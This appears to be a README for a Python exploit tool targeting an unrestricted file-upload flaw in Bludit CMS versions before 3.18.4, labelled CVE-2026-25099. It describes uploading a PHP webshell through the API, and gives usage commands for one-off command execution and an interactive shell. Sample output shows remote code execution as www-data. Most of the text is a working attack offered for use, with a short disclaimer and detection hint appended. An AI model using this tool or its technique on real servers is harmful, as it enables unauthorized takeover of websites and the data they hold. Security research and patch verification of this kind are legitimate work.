yahiahamza/cve-2026-25099Python exploit for Bludit CMS API unrestricted file upload leading to remote code execution, providing command execution and interactive shell for authorized testing.
Bludit CMS versions before 3.18.4 allow an authenticated attacker with a valid API token to upload files of any type and extension via the POST /api/files/<page-key> endpoint. The uploadFile() function performs no file extension or content validation, allowing PHP webshells to be uploaded and executed as www-data.
# Single command execution
python3 CVE-2026-25099.py -u http://target -t "API_TOKEN" -c "id"
# Interactive shell
python3 CVE-2026-25099.py -u http://target -t "API_TOKEN"
[*] CVE-2026-25099 - Bludit CMS API File Upload to RCE
[*] Target: http://target
[*] Retrieving page key...
[+] Page key: create-your-own-content
[*] Uploading webshell...
[+] Shell uploaded: http://target/bl-content/uploads/pages/create-your-own-content/abcdefgh.php
[*] Verifying RCE...
[+] RCE confirmed: uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] Interactive shell (type 'exit' to quit)
shell> whoami
www-data
shell> grep BLUDIT_VERSION /var/www/html/bl-kernel/boot/init.php
define('BLUDIT_VERSION', '3.18.2');
/bl-content/uploads/ for unexpected PHP filesYahia Hamza - https://yh.do
This tool is provided for authorized security testing and educational purposes only. Use responsibly and only against systems you have permission to test.